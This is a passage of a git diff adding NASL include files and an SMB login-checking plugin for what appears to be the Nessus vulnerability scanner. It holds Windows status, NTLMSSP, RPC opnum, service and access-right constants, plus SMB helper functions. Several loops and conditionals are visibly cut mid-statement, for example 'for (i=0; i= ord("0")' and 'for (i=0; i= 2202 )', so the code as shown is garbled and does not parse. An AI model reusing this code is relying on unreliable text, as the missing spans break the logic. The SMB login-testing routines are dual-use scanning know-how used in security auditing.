+STATUS_CTX_SHADOW_INVALID = 0xC00A0030; +STATUS_CTX_SHADOW_DISABLED = 0xC00A0031; +STATUS_RDP_PROTOCOL_ERROR = 0xC00A0032; +STATUS_CTX_CLIENT_LICENSE_NOT_SET = 0xC00A0033; +STATUS_CTX_CLIENT_LICENSE_IN_USE = 0xC00A0034; +STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE = 0xC00A0035; +STATUS_CTX_SHADOW_NOT_RUNNING = 0xC00A0036; +STATUS_PNP_BAD_MPS_TABLE = 0xC0040035; +STATUS_PNP_TRANSLATION_FAILED = 0xC0040036; +STATUS_PNP_IRQ_TRANSLATION_FAILED = 0xC0040037; +STATUS_SXS_SECTION_NOT_FOUND = 0xC0150001; +STATUS_SXS_CANT_GEN_ACTCTX = 0xC0150002; +STATUS_SXS_INVALID_ACTCTXDATA_FORMAT = 0xC0150003; +STATUS_SXS_ASSEMBLY_NOT_FOUND = 0xC0150004; +STATUS_SXS_MANIFEST_FORMAT_ERROR = 0xC0150005; +STATUS_SXS_MANIFEST_PARSE_ERROR = 0xC0150006; +STATUS_SXS_ACTIVATION_CONTEXT_DISABLED = 0xC0150007; +STATUS_SXS_KEY_NOT_FOUND = 0xC0150008; +STATUS_SXS_VERSION_CONFLICT = 0xC0150009; +STATUS_SXS_WRONG_SECTION_TYPE = 0xC015000A; +STATUS_SXS_THREAD_QUERIES_DISABLED = 0xC015000B; +STATUS_SXS_ASSEMBLY_MISSING = 0xC015000C; +STATUS_SXS_RELEASE_ACTIVATION_CONTEXT = 0x4015000D; +STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET = 0xC015000E; +STATUS_SXS_EARLY_DEACTIVATION = 0xC015000F; +STATUS_SXS_INVALID_DEACTIVATION = 0xC0150010; +STATUS_SXS_MULTIPLE_DEACTIVATION = 0xC0150011; +STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY = 0xC0150012; +STATUS_SXS_PROCESS_TERMINATION_REQUESTED = 0xC0150013; +STATUS_CLUSTER_INVALID_NODE = 0xC0130001; +STATUS_CLUSTER_NODE_EXISTS = 0xC0130002; +STATUS_CLUSTER_JOIN_IN_PROGRESS = 0xC0130003; +STATUS_CLUSTER_NODE_NOT_FOUND = 0xC0130004; +STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND = 0xC0130005; +STATUS_CLUSTER_NETWORK_EXISTS = 0xC0130006; +STATUS_CLUSTER_NETWORK_NOT_FOUND = 0xC0130007; +STATUS_CLUSTER_NETINTERFACE_EXISTS = 0xC0130008; +STATUS_CLUSTER_NETINTERFACE_NOT_FOUND = 0xC0130009; +STATUS_CLUSTER_INVALID_REQUEST = 0xC013000A; +STATUS_CLUSTER_INVALID_NETWORK_PROVIDER = 0xC013000B; +STATUS_CLUSTER_NODE_DOWN = 0xC013000C; +STATUS_CLUSTER_NODE_UNREACHABLE = 0xC013000D; +STATUS_CLUSTER_NODE_NOT_MEMBER = 0xC013000E; +STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS = 0xC013000F; +STATUS_CLUSTER_INVALID_NETWORK = 0xC0130010; +STATUS_CLUSTER_NO_NET_ADAPTERS = 0xC0130011; +STATUS_CLUSTER_NODE_UP = 0xC0130012; +STATUS_CLUSTER_NODE_PAUSED = 0xC0130013; +STATUS_CLUSTER_NODE_NOT_PAUSED = 0xC0130014; +STATUS_CLUSTER_NO_SECURITY_CONTEXT = 0xC0130015; +STATUS_CLUSTER_NETWORK_NOT_INTERNAL = 0xC0130016; +STATUS_CLUSTER_POISONED = 0xC0130017; + + +# NTLMSSP FLAGS +NTLMSSP_NEGOTIATE_UNICODE = 0x00000001; +NTLMSSP_NEGOTIATE_OEM = 0x00000002; +NTLMSSP_REQUEST_TARGET = 0x00000004; +NTLMSSP_NEGOTIATE_SIGN = 0x00000010; +NTLMSSP_NEGOTIATE_SEAL = 0x00000020; +NTLMSSP_NEGOTIATE_LM_KEY = 0x00000080; +NTLMSSP_NEGOTIATE_00000100 = 0x00000100; +NTLMSSP_NEGOTIATE_NTLM = 0x00000200; +NTLMSSP_NEGOTIATE_00000400 = 0x00000400; +NTLMSSP_NEGOTIATE_DOMAIN_SUPPLIED = 0x00001000; +NTLMSSP_NEGOTIATE_WORKSTATION_SUPPLIED = 0x00002000; +NTLMSSP_NEGOTIATE_ALWAYS_SIGN = 0x00008000; +NTLMSSP_TARGET_TYPE_DOMAIN = 0x00010000; +NTLMSSP_TARGET_TYPE_SERVER = 0x00020000; +NTLMSSP_TARGET_TYPE_SHARE = 0x00040000; +NTLMSSP_NEGOTIATE_NTLM2 = 0x00080000; +NTLMSSP_NEGOTIATE_TARGET_INFO = 0x00800000; +NTLMSSP_NEGOTIATE_128 = 0x20000000; +NTLMSSP_NEGOTIATE_KEY_EXCH = 0x40000000; +NTLMSSP_NEGOTIATE_56 = 0x80000000; + + +# DCE / RPC +DCE_RPC_BIND = 0x0B; +DCE_RPC_REQUEST = 0x00; +DCE_RPC_RESPONSE = 0x02; + + +# TRANSACTION codes +TRANS_PIPE = 0x26; + + +# Opnum codes +OPNUM_OPENHKCR = 0x00; +OPNUM_OPENHKLM = 0x02; +OPNUM_OPENHKU = 0x04; +OPNUM_OPENKEY = 0x0F; +OPNUM_QUERYINFOKEY = 0x10; +OPNUM_QUERYVALUE = 0x11; +OPNUM_ENUMVALUE = 0x0A; +OPNUM_ENUMKEY = 0x09; +OPNUM_CLOSEKEY = 0x05; +OPNUM_GETKEYSECURITY = 0x0C; +OPNUM_SERVERGETINFO = 0x15; +OPNUM_SHAREENUM = 0x0F; +OPNUM_WKSTAGETINFO = 0x00; +OPNUM_WKSTAUSERENUM = 0x02; +OPNUM_LSAOPENPOLICY = 0x2C; +OPNUM_LSAQUERYINFO = 0x07; +OPNUM_LSAQUERYDOMAININFO = 0x35; +OPNUM_LSASECURITYOBJECT = 0x03; +OPNUM_LSALOOKUPSID = 0x0F; +OPNUM_LSALOOKUPNAMES = 0x0E; +OPNUM_LSACLOSE = 0x00; +OPNUM_OPENSCMANAGERW = 0x0F; +OPNUM_OPENSCMANAGERA = 0x1B; +OPNUM_OPENSERVICEW = 0x10; +OPNUM_OPENSERVICEA = 0x1C; +OPNUM_SERVICECONTROL = 0x01; +OPNUM_CREATESERVICEA = 0x18; +OPNUM_CREATESERVICEW = 0x0C; +OPNUM_STARTSERVICEA = 0x1F; +OPNUM_STARTSERVICEW = 0x13; +OPNUM_DELETESERVICE = 0x02; +OPNUM_CLOSESERVICE = 0x00; +OPNUM_QUERYSERVICE = 0x06; +OPNUM_QUERYSERVICESECURITY = 0x04; +OPNUM_ENUMSERVICEA = 0x1A; +OPNUM_ENUMSERVICEW = 0x0E; +OPNUM_SAMCONNECT2 = 0x39; +OPNUM_SAMENUMDOM = 0x06; +OPNUM_SAMLOOKUP = 0x05; +OPNUM_SAMOPENDOM = 0x07; +OPNUM_SAMLOOKUPNAME = 0x11; +OPNUM_SAMOPENUSER = 0x22; +OPNUM_SAMOPENGROUP = 0x13; +OPNUM_SAMOPENALIAS = 0x1B; +OPNUM_SAMGETGROUPS = 0x27; +OPNUM_SAMCLOSEHANDLE = 0x01; +OPNUM_SAMLOOKUPIDS = 0x12; +OPNUM_SAMQUERYINFOU = 0x24; +OPNUM_SAMQUERYINFOD = 0x2E; +OPNUM_SAMGETALIASM = 0x10; +OPNUM_SAMGETMEMALIAS = 0x21; +OPNUM_SAMGETMEMGROUP = 0x19; +OPNUM_NETSESSENUM = 0x0C; +OPNUM_LSAENUMERATEACCOUNTWITHUSERRIGHT = 0x23; + +# SERVICE codes +SERVICE_ERROR_IGNORE = 0; +SERVICE_ERROR_NORMAL = 1; +SERVICE_ERROR_SEVERE = 2; +SERVICE_ERROR_CRITICAL = 3; + +SERVICE_WIN32_OWN_PROCESS = 16; +SERVICE_WIN32_SHARE_PROCESS = 32; +SERVICE_KERNEL_DRIVER = 1; +SERVICE_FILE_SYSTEM_DRIVER = 2; +SERVICE_INTERACTIVE_PROCESS = 256; + +SERVICE_BOOT_START = 0; +SERVICE_SYSTEM_START = 1; +SERVICE_AUTO_START = 2; +SERVICE_DEMAND_START = 3; +SERVICE_DISABLED = 4; + +SERVICE_WIN32 = 0x30; +SERVICE_DRIVER = 0x0B; + +SERVICE_ACTIVE = 1; +SERVICE_INACTIVE = 2; +SERVICE_ALL_STATE = SERVICE_ACTIVE | SERVICE_INACTIVE; + +SERVICE_STOPPED = 1; +SERVICE_START_PENDING = 2; +SERVICE_STOP_PENDING = 3; +SERVICE_RUNNING = 4; +SERVICE_CONTINUE_PENDING = 5; +SERVICE_PAUSE_PENDING = 6; +SERVICE_PAUSED = 7; +SERVICE_ACCEPT_STOP = 1; +SERVICE_ACCEPT_PAUSE_CONTINUE = 2; +SERVICE_ACCEPT_SHUTDOWN = 4; + + +# POLICY codes +PolicyAuditEventsInformation = 2; +PolicyPrimaryDomainInformation = 3; +PolicyAccountDomainInformation = 5; +PolicyLsaServerRoleInformation = 6; +PolicyModificationInformation = 9; +PolicyDnsDomainInformation = 12; +PolicyDomainKerberosTicketInformation = 3; + +# Security Descriptor FLAGS +OWNER_SECURITY_INFORMATION = 0x00000001; +GROUP_SECURITY_INFORMATION = 0x00000002; +DACL_SECURITY_INFORMATION = 0x00000004; +SACL_SECURITY_INFORMATION = 0x00000008; + + + +FILE_SHARE_READ = 0x00000001; +FILE_SHARE_WRITE = 0x00000002; +FILE_SHARE_DELETE = 0x00000004; + +CREATE_NEW = 2; +CREATE_ALWAYS = 5; +OPEN_EXISTING = 1; +OPEN_ALWAYS = 3; +TRUNCATE_EXISTING = 4; + +FILE_ATTRIBUTE_READONLY = 0x00000001; +FILE_ATTRIBUTE_HIDDEN = 0x00000002; +FILE_ATTRIBUTE_SYSTEM = 0x00000004; +FILE_ATTRIBUTE_DIRECTORY = 0x00000010; +FILE_ATTRIBUTE_ARCHIVE = 0x00000020; +FILE_ATTRIBUTE_ENCRYPTED = 0x00000040; +FILE_ATTRIBUTE_NORMAL = 0x00000080; +FILE_ATTRIBUTE_TEMPORARY = 0x00000100; +FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200; +FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400; +FILE_ATTRIBUTE_COMPRESSED = 0x00000800; +FILE_ATTRIBUTE_OFFLINE = 0x00001000; +FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000; +FILE_FLAG_OPEN_NO_RECALL = 0x00100000; +FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000; +FILE_FLAG_POSIX_SEMANTICS = 0x01000000; +FILE_FLAG_BACKUP_SEMANTICS = 0x02000000; +FILE_FLAG_DELETE_ON_CLOSE = 0x04000000; +FILE_FLAG_SEQUENTIAL_SCAN = 0x08000000; +FILE_FLAG_RANDOM_ACCESS = 0x10000000; +FILE_FLAG_NO_BUFFERING = 0x20000000; +FILE_FLAG_OVERLAPPED = 0x40000000; +FILE_FLAG_WRITE_THROUGH = 0x80000000; + + +# ACCESS Rights +ACCESS_NONE = 0x00; +ACCESS_READ = 0x01; +ACCESS_WRITE = 0x02; +ACCESS_CREATE = 0x04; +ACCESS_EXEC = 0x08; +ACCESS_DELETE = 0x10; +ACCESS_ATRIB = 0x20; +ACCESS_PERM = 0x40; +ACCESS_GROUP = 0x8000; +ACCESS_ALL = ACCESS_READ | + ACCESS_WRITE | + ACCESS_CREATE | + ACCESS_EXEC | + ACCESS_DELETE | + ACCESS_ATRIB | + ACCESS_PERM ; + +DELETE = 0x00010000; +READ_CONTROL = 0x00020000; +WRITE_DAC = 0x00040000; +WRITE_OWNER = 0x00080000; +SYNCHRONIZE = 0x00100000; +STANDARD_RIGHTS_REQUIRED = 0x000F0000; +STANDARD_RIGHTS_READ = READ_CONTROL; +STANDARD_RIGHTS_WRITE = READ_CONTROL; +STANDARD_RIGHTS_EXECUTE = READ_CONTROL; +STANDARD_RIGHTS_ALL = 0x001F0000; +SPECIFIC_RIGHTS_ALL = 0x0000FFFF; +ACCESS_SYSTEM_SECURITY = 0x01000000; +MAXIMUM_ALLOWED = 0x02000000; +GENERIC_READ = 0x80000000; +GENERIC_WRITE = 0x40000000; +GENERIC_EXECUTE = 0x20000000; +GENERIC_ALL = 0x10000000; + + + +# FILE Rights + +FILE_READ_DATA = 0x0001 ; +FILE_LIST_DIRECTORY = 0x0001 ; +FILE_WRITE_DATA = 0x0002 ; +FILE_ADD_FILE = 0x0002 ; +FILE_APPEND_DATA = 0x0004 ; +FILE_ADD_SUBDIRECTORY = 0x0004 ; +FILE_CREATE_PIPE_INSTANCE = 0x0004 ; +FILE_READ_EA = 0x0008 ; +FILE_WRITE_EA = 0x0010 ; +FILE_EXECUTE = 0x0020 ; +FILE_TRAVERSE = 0x0020 ; +FILE_DELETE_CHILD = 0x0040 ; +FILE_READ_ATTRIBUTES = 0x0080 ; +FILE_WRITE_ATTRIBUTES = 0x0100 ; + +FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF; + +FILE_GENERIC_READ = STANDARD_RIGHTS_READ | + FILE_READ_DATA | + FILE_READ_ATTRIBUTES | + FILE_READ_EA | + SYNCHRONIZE; + + +FILE_GENERIC_WRITE = FILE_WRITE_DATA | + FILE_WRITE_ATTRIBUTES | + FILE_WRITE_EA | + FILE_APPEND_DATA; + + +FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE | + FILE_READ_ATTRIBUTES | + FILE_EXECUTE | + SYNCHRONIZE; + +# SERVICE CODES +SERVICE_NO_CHANGE = 0xffffffff; +SERVICE_ACTIVE = 0x00000001; +SERVICE_INACTIVE = 0x00000002; +SERVICE_STATE_ALL = SERVICE_ACTIVE | + SERVICE_INACTIVE ; + +SERVICE_CONTROL_STOP = 0x00000001; +SERVICE_CONTROL_PAUSE = 0x00000002; +SERVICE_CONTROL_CONTINUE = 0x00000003; +SERVICE_CONTROL_INTERROGATE = 0x00000004; +SERVICE_CONTROL_SHUTDOWN = 0x00000005; +SERVICE_CONTROL_PARAMCHANGE = 0x00000006; +SERVICE_CONTROL_NETBINDADD = 0x00000007; +SERVICE_CONTROL_NETBINDREMOVE = 0x00000008; +SERVICE_CONTROL_NETBINDENABLE = 0x00000009; +SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A; + +SERVICE_STOPPED = 0x00000001; +SERVICE_START_PENDING = 0x00000002; +SERVICE_STOP_PENDING = 0x00000003; +SERVICE_RUNNING = 0x00000004; +SERVICE_CONTINUE_PENDING = 0x00000005; +SERVICE_PAUSE_PENDING = 0x00000006; +SERVICE_PAUSED = 0x00000007; + +SERVICE_ACCEPT_STOP = 0x00000001; +SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002; +SERVICE_ACCEPT_SHUTDOWN = 0x00000004; +SERVICE_ACCEPT_PARAMCHANGE = 0x00000008; +SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010; + +SC_MANAGER_CONNECT = 0x0001; +SC_MANAGER_CREATE_SERVICE = 0x0002; +SC_MANAGER_ENUMERATE_SERVICE = 0x0004; +SC_MANAGER_LOCK = 0x0008; +SC_MANAGER_QUERY_LOCK_STATUS = 0x0010; +SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020; + +SC_MANAGER_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | + SC_MANAGER_CONNECT | + SC_MANAGER_CREATE_SERVICE | + SC_MANAGER_ENUMERATE_SERVICE | + SC_MANAGER_LOCK | + SC_MANAGER_QUERY_LOCK_STATUS | + SC_MANAGER_MODIFY_BOOT_CONFIG; + +SERVICE_QUERY_CONFIG = 0x0001; +SERVICE_CHANGE_CONFIG = 0x0002; +SERVICE_QUERY_STATUS = 0x0004; +SERVICE_ENUMERATE_DEPENDENTS = 0x0008; +SERVICE_START = 0x0010; +SERVICE_STOP = 0x0020; +SERVICE_PAUSE_CONTINUE = 0x0040; +SERVICE_INTERROGATE = 0x0080; +SERVICE_USER_DEFINED_CONTROL = 0x0100; + +SERVICE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | + SERVICE_QUERY_CONFIG | + SERVICE_CHANGE_CONFIG | + SERVICE_QUERY_STATUS | + SERVICE_ENUMERATE_DEPENDENTS | + SERVICE_START | + SERVICE_STOP | + SERVICE_PAUSE_CONTINUE | + SERVICE_INTERROGATE | + SERVICE_USER_DEFINED_CONTROL; + + +SERVICE_READ = SERVICE_QUERY_CONFIG | + SERVICE_QUERY_STATUS | + SERVICE_ENUMERATE_DEPENDENTS | + SERVICE_INTERROGATE | + SERVICE_USER_DEFINED_CONTROL | + READ_CONTROL; + + +SERVICE_EXECUTE = SERVICE_START | + SERVICE_STOP | + SERVICE_PAUSE_CONTINUE | + READ_CONTROL; + + +SERVICE_WRITE = SERVICE_CHANGE_CONFIG | + READ_CONTROL; + +SERVICE_DELETE = DELETE; + + + +# Higher code +HKEY_LOCAL_MACHINE = OPNUM_OPENHKLM; +HKEY_CURRENT_USER = OPNUM_OPENHKU; +HKEY_CLASS_ROOT = OPNUM_OPENHKCR; + + +# Write mode codes +WRITE_START = 0x08; + + +# SHARE_INFO +SHARE_INFO_0 = 0; +SHARE_INFO_1 = 1; +SHARE_INFO_2 = 2; +SHARE_INFO_502 = 502; + + +WKSTA_USER_INFO_0 = 0; +WKSTA_USER_INFO_1 = 1; + +# Extra codes +ASCII_STRING = 0; +UNICODE_STRING = 1; + + +# Registry +REG_SZ = 1; +REG_EXPAND_SZ = 2; +REG_BINARY = 3; +REG_DWORD = 4; +REG_MULTI_SZ = 7; + + +# Server info +SERVER_INFO_100 = 0; +SERVER_INFO_101 = 1; + + +# Session info +SESSION_INFO_0 = 0; +SESSION_INFO_1 = 1; +SESSION_INFO_2 = 2; +SESSION_INFO_10 = 10; +SESSION_INFO_50 = 50; +SESSION_INFO_502 = 502; + + +# SID type +SidTypeUser = 1; +SidTypeGroup = 2; +SidTypeDomain = 3; +SidTypeAlias = 4; +SidTypeWellKnownGroup = 5; +SidTypeDeletedAccount = 6; +SidTypeInvalid = 7; +SidTypeUnknown = 8; +SidTypeComputer = 9; + + +SID_TYPE[SidTypeUser] = "User"; +SID_TYPE[SidTypeGroup] = "Group"; +SID_TYPE[SidTypeDomain] = "Domain"; +SID_TYPE[SidTypeAlias] = "Alias"; +SID_TYPE[SidTypeWellKnownGroup] = "Well Known Group"; +SID_TYPE[SidTypeDeletedAccount] = "Deleted Account"; +SID_TYPE[SidTypeInvalid] = "Invalid"; +SID_TYPE[SidTypeUnknown] = "Unknown"; +SID_TYPE[SidTypeComputer] = "Computer"; + + +# LsaPolicy +PolicyAuditEventsInformation = 2; +AuditCategorySystem = 0; +AuditCategoryLogon = 1; +AuditCategoryObjectAccess = 2; +AuditCategoryPrivilegeUse = 3; +AuditCategoryDetailedTracking = 4; +AuditCategoryPolicyChange = 5; +AuditCategoryAccountManagement = 6; +AuditCategoryDirectoryServiceAccess = 7; +AuditCategoryAccountLogon = 8; + +POLICY_AUDIT_EVENT_UNCHANGED = 0; +POLICY_AUDIT_EVENT_SUCCESS = 1; +POLICY_AUDIT_EVENT_FAILURE = 2; +POLICY_AUDIT_EVENT_NONE = 4; + +POLICY_VIEW_LOCAL_INFORMATION = 0x00000001; +POLICY_VIEW_AUDIT_INFORMATION = 0x00000002; +POLICY_GET_PRIVATE_INFORMATION = 0x00000004; +POLICY_TRUST_ADMIN = 0x00000008; +POLICY_CREATE_ACCOUNT = 0x00000010; +POLICY_CREATE_SECRET = 0x00000020; +POLICY_CREATE_PRIVILEGE = 0x00000040; +POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080; +POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100; +POLICY_AUDIT_LOG_ADMIN = 0x00000200; +POLICY_SERVER_ADMIN = 0x00000400; +POLICY_LOOKUP_NAMES = 0x00000800; + +POLICY_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED_ACCESS | + POLICY_VIEW_LOCAL_INFORMATION | + POLICY_VIEW_AUDIT_INFORMATION | + POLICY_GET_PRIVATE_INFORMATION | + POLICY_TRUST_ADMIN | + POLICY_CREATE_ACCOUNT | + POLICY_CREATE_SECRET | + POLICY_CREATE_PRIVILEGE | + POLICY_SET_DEFAULT_QUOTA_LIMITS | + POLICY_SET_AUDIT_REQUIREMENTS | + POLICY_AUDIT_LOG_ADMIN | + POLICY_SERVER_ADMIN | + POLICY_LOOKUP_NAMES; + + +POLICY_READ = STANDARD_RIGHTS_READ_ACCESS | + POLICY_VIEW_AUDIT_INFORMATION | + POLICY_GET_PRIVATE_INFORMATION; + +POLICY_WRITE = STANDARD_RIGHTS_WRITE_ACCESS | + POLICY_TRUST_ADMIN | + POLICY_CREATE_ACCOUNT | + POLICY_CREATE_SECRET | + POLICY_CREATE_PRIVILEGE | + POLICY_SET_DEFAULT_QUOTA_LIMITS | + POLICY_SET_AUDIT_REQUIREMENTS | + POLICY_AUDIT_LOG_ADMIN | + POLICY_SERVER_ADMIN; + +POLICY_EXECUTE = STANDARD_RIGHTS_EXECUTE_ACCESS | + POLICY_VIEW_LOCAL_INFORMATION | + POLICY_LOOKUP_NAMES; + + + +KEY_QUERY_VALUE = 0x00000001; +KEY_SET_VALUE = 0x00000002; +KEY_CREATE_SUB_KEY = 0x00000004; +KEY_ENUMERATE_SUB_KEYS = 0x00000008; +KEY_NOTIFY = 0x00000010; +KEY_CREATE_LINK = 0x00000020; + +KEY_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | + KEY_QUERY_VALUE | + KEY_SET_VALUE | + KEY_CREATE_SUB_KEY | + KEY_ENUMERATE_SUB_KEYS | + KEY_NOTIFY | + KEY_CREATE_LINK; + +KEY_READ = READ_CONTROL | + KEY_QUERY_VALUE | + KEY_ENUMERATE_SUB_KEYS | + KEY_NOTIFY; + +KEY_EXECUTE = READ_CONTROL | + KEY_QUERY_VALUE | + KEY_ENUMERATE_SUB_KEYS | + KEY_NOTIFY; + +KEY_WRITE = READ_CONTROL | + KEY_SET_VALUE | + KEY_CREATE_SUB_KEY; + + +# User rights + +# SeAssignPrimaryTokenPrivilege +# SeAuditPrivilege +# SeBackupPrivilege +# SeBatchLogonRight +# SeChangeNotifyPrivilege +# SeCreateGlobalPrivilege +# SeCreatePagefilePrivilege +# SeCreatePermanentPrivilege +# SeCreateTokenPrivilege +# SeDenyBatchLogonRight +# SeDenyInteractiveLogonRight +# SeDenyNetworkLogonRight +# SeDenyServiceLogonRight +# SeDebugPrivilege +# SeEnableDelegationPrivilege +# SeImpersonatePrivilege +# SeIncreaseBasePriorityPrivilege +# SeIncreaseQuotaPrivilege +# SeInteractiveLogonRight +# SeLoadDriverPrivilege +# SeLockMemoryPrivilege +# SeMachineAccountPrivilege +# SeManageVolumePrivilege +# SeNetworkLogonRight +# SeProfileSingleProcessPrivilege +# SeRemoteShutdownPrivilege +# SeRestorePrivilege +# SeSecurityPrivilege +# SeServiceLogonRight +# SeShutdownPrivilege +# SeSyncAgentPrivilege +# SeSystemEnvironmentPrivilege +# SeSystemProfilePrivilege +# SeSystemtimePrivilege +# SeTakeOwnershipPrivilege +# SeTcbPrivilege +# SeUndockPrivilege +# SeUnsolicitedInputPrivilege \ No newline at end of file diff --git a/content/WinVA/plugins/smb_internals.inc b/content/WinVA/plugins/smb_internals.inc new file mode 100644 index 0000000..ed523ed --- /dev/null +++ b/content/WinVA/plugins/smb_internals.inc @@ -0,0 +1,1002 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# smb_internals.inc +# $Revision: 1.1 $ +# + +# GLOBAL VAR : Session. Can be used as arg later. +global_var Session, previous_hash; + + +function kb_smb_name() +{ + local_var ret; + ret = get_kb_item("SMB/name"); + if ( ret ) + return string(ret); + else + return get_host_ip(); +} + +function kb_smb_domain() +{ + return string(get_kb_item("SMB/domain")); +} + +function kb_smb_login() +{ + return string(get_kb_item("SMB/login")); +} + +function kb_smb_password() +{ + return string(get_kb_item("SMB/password")); +} + +function kb_smb_transport() +{ + local_var r; + r = get_kb_item("SMB/transport"); + if ( r ) return int(r); + else return 445; +} + + + + +#==================================================================# +# Section 1. Utilities # +#==================================================================# + + + +#---------------------------------------------------------# +# Function : get_string # +# Description : Extract a null terminated string # +#---------------------------------------------------------# + +function get_string (blob, pos, _type) +{ + local_var string, i, unicode; + + if (isnull (_type)) + unicode = session_is_unicode(); + else + unicode = _type; + + string = NULL; + i = pos; + + while (i < strlen(blob)) + { + if (unicode == 1) + { + if ((blob[i] == '\0') && (blob[i+1] == '\0')) + return unicode2ascii (string:string); + string += blob[i] + blob[i+1]; + i += 2; + } + else + { + if (blob[i] == '\0') + return string; + string += blob[i]; + i++; + } + } +} + + +#---------------------------------------------------------# +# Function : get_string2 # +# Description : Extract a non null terminated string # +#---------------------------------------------------------# + +function get_string2 (blob, pos, len, _type) +{ + local_var string, unicode; + + if (isnull (_type)) + unicode = session_is_unicode(); + else + unicode = _type; + + string = NULL; + + if (pos+len > strlen(blob)) + return NULL; + + string = substr (blob, pos, pos+len-1); + if (unicode == 1) + return unicode2ascii (string:string); + else + return string; +} + + +#---------------------------------------------------------# +# Function : null_length # +# Description : return size of null end char # +#---------------------------------------------------------# + +function null_length () +{ + if (session_is_unicode() == 1) + return 2; + else + return 1; +} + + +#---------------------------------------------------------# +# Function : dos_status # +# Description : Return DOS_status code # +#---------------------------------------------------------# + +function dos_status (ErrorClass, ErrorCode) +{ + return raw_byte (b:ErrorClass) + + raw_byte (b:0) + + raw_word (w:ErrorCode); +} + + +#---------------------------------------------------------# +# Function : nt_status # +# Description : Return NT_status code # +#---------------------------------------------------------# + +function nt_status (Status) +{ + return raw_dword (d:Status); +} + + +#---------------------------------------------------------# +# Function : ascii # +# Description : Convert string to ASCII string (NULL end) # +#---------------------------------------------------------# + +function ascii (string) +{ + return string + raw_byte (b:0); +} + + + +#---------------------------------------------------------# +# Function : unicode # +# Description : Convert ASCII string to unicode # +#---------------------------------------------------------# + +function unicode (string) +{ + local_var ustring, i; + + ustring = NULL; + + for (i=0; i= ord("0") && ord(s[i]) <= ord("9")) + j = int(s[i]); + else + j = int((ord(s[i]) - ord("a")) + 10); + j *= 16; + if(ord(s[i+1]) >= ord("0") && ord(s[i+1]) <= ord("9")) + j += int(s[i+1]); + else + j += int((ord(s[i+1]) - ord("a")) + 10); + ret += raw_string(j); + } + return ret; +} + + +function inverse (data) +{ + local_var tmp, i; + + tmp = NULL; + for (i=strlen(data)-1; i >= 0; i--) + { + tmp += data[i]; + } + + return tmp; +} + + +function _hex (s) +{ + return inverse (data:hex2raw2(s:s)); +} + + +function encode_uuid (uuid) +{ + local_var tmp, encoded, val; + + encoded = NULL; + + tmp = split (uuid, sep:"-", keep:FALSE); + + encoded = _hex(s:tmp[0]) + + _hex(s:tmp[1]) + + _hex(s:tmp[2]) + + hex2raw2(s:tmp[3]) + + hex2raw2(s:tmp[4]); + + return encoded; +} + + +function decode_uuid (uuid) +{ + return hexstr(inverse(data:substr(uuid, 0, 3))) + "-" + + hexstr(inverse(data:substr(uuid, 4, 5))) + "-" + + hexstr(inverse(data:substr(uuid, 6, 7))) + "-" + + hexstr(substr(uuid, 8, 9)) + "-" + + hexstr(substr(uuid, 10, 15)); +} + + + +function buffer_parameter (ref_id, size) +{ + return raw_dword (d:ref_id) + raw_dword (d:size); +} + + +function class_parameter (ref_id, name, size, _null) +{ + local_var tmp, len, uni, data; + + uni = session_is_unicode (); + if (uni == 0) + session_set_unicode (unicode:1); + + if (!isnull(_null) && (_null == FALSE)) + tmp = cstring (string:name, _null:1); + else + tmp = cstring (string:name); + len = strlen (tmp); + + if ((len/2)%2 == 1) + tmp += raw_word (w:0); + + if (!isnull (size)) + data = raw_word (w:len) + # length + raw_word (w:len); # size + else + data = NULL; + + data += raw_dword (d:ref_id) + # Referent ID + raw_dword (d:len/2) + # Max count + raw_dword (d:0) + # Offset + raw_dword (d:len/2) + # Actual Count + tmp ; # name + + if (uni == 0) + session_set_unicode (unicode:0); + return data; +} + + + + +function sid2string (sid) +{ + local_var ret, num, val, i; + + ret = NULL; + if (strlen(sid) < 8) + return NULL; + + val = get_byte (blob:sid, pos:0); + ret += string (val, "-"); + num = get_byte(blob:sid, pos:1); + val = get_byte(blob:sid, pos:7); + ret += string (val, "-"); + + if (strlen(sid) < 8 + num*4) + return NULL; + + for (i=0; i= 2202 ) script_dependencies("kerberos.nasl"); + script_require_keys("SMB/name", "SMB/transport"); + script_require_ports(139, 445); + exit(0); +} + +include("smb_func.inc"); +include("global_settings.inc"); + + + + +function login(lg, pw, dom, lm, ntlm) +{ + local_var r, soc; + + soc = open_sock_tcp(port); + if ( ! soc ) exit(0); + + session_init(socket:soc, hostname:name); + r = NetUseAdd(login:lg, password:pw, domain:dom, lm_hash:lm, ntlm_hash:ntlm, share:"IPC$"); + NetUseDel(); + + if ( r == 1 ) + return TRUE; + else + return FALSE; +} + + + +login_has_been_supplied = 0; +port = kb_smb_transport(); +name = kb_smb_name(); + +if ( ! get_port_state(port) ) + exit(0); + +soc = open_sock_tcp(port); +if ( !soc ) + exit(0); +close(soc); + +for ( i = 0 ; TRUE ; i ++ ) +{ + l = get_kb_item("SMB/login_filled/" + i ); + if (l) + l = ereg_replace(pattern:"([^ ]*) *$", string:l, replace:"\1"); + + p = 